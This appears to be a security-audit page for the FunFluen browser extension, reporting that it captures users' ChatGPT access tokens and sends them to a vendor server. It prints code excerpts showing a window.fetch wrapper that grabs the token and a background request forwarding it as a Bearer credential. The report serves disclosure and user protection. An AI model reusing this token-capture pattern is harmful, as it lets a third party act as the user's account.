Is FunFluen: Fluency Made Fun safe?
FunFluen sends your ChatGPT session token to its own testi.appforlanguage.com server with each AI chat request.
The extension captures the ChatGPT access token from chatgpt.com pages and stores it. On each AI chat request, the background script sends that token as a Bearer credential to the vendor's chat2api endpoint to obtain request tokens, which it then uses for chatgpt.com conversations.
Who publishes itApp For Language - 11 other listings from the same operator, 3 of them carrying a finding
App For Language - 11 other listings from the same operator, 3 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
11 other listings published from this account, 122k+ users between them. 3 of them carry a finding.
Shared hosts - 14 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
ChatGPT session token is sent to the vendor server on each AI chat request
Code analysis shows the extension reads your ChatGPT access token and sends it as a Bearer header to testi.appforlanguage.com, a vendor host, before each AI chat request.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You use the AI chat feature on a subtitle while logged in to chatgpt.com.
The extension sends your ChatGPT token to testi.appforlanguage.com before calling chatgpt.com.
The reply supplies the sentinel tokens used for the conversation request.
Token capture in the page and the outbound request in the background script
Page script
// Wrap window.fetch. For each JSON response containing accessToken and expires,// post the token to the content script, which saves it to extension storage.const origFetch = window.fetch;window.fetch = (...args) => origFetch(...args).then(res => { res.clone().json().then(j => { if (j?.accessToken && j?.expires) window.postMessage({type:'SAVE_ACCESS_TOKEN', token:j.accessToken}); }); return res;});Background script
// chatgptRequirementsURL = 'https://testi.appforlanguage.com/chat2api/v1/chat/chat-requirements'const reqs = await fetch(chatgptRequirementsURL, { headers: { Authorization: 'Bearer ' + this.token }}).then(r => r.json());- ChatGPT access tokenAuthorization: Bearer eyJhbGciOi... (illustrative)
A bearer credential that can act as your ChatGPT account.
- Destinationtesti.appforlanguage.com/chat2api/v1/chat/chat-requirements
A host run by the extension vendor, not OpenAI.
- testi.appforlanguage.com
Vendor chat2api endpoint that receives the ChatGPT bearer token.
- chatgpt.com
Source of the token and target of the conversation request.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.25.08.31. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on funfluen.com
https://funfluen.com/*
Read and change your data on appforlanguage.com
https://appforlanguage.com/*
Read and change your data on clients5.google.com
https://clients5.google.com/*
Read and change your data on youtube.com
*://youtube.com/*
Read and change your data on netflix.com
*://netflix.com/*
Store data in your browser
storage
Store an unlimited amount of data in your browser
unlimitedStorage
Speak text aloud
tts
Where it sends data
Destinations our analysis observed FunFluen: Fluency Made Fun contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- testi.appforlanguage.com
FunFluen: Fluency Made Fun sends data to testi.appforlanguage.com. One other extension we have analysed sends data here.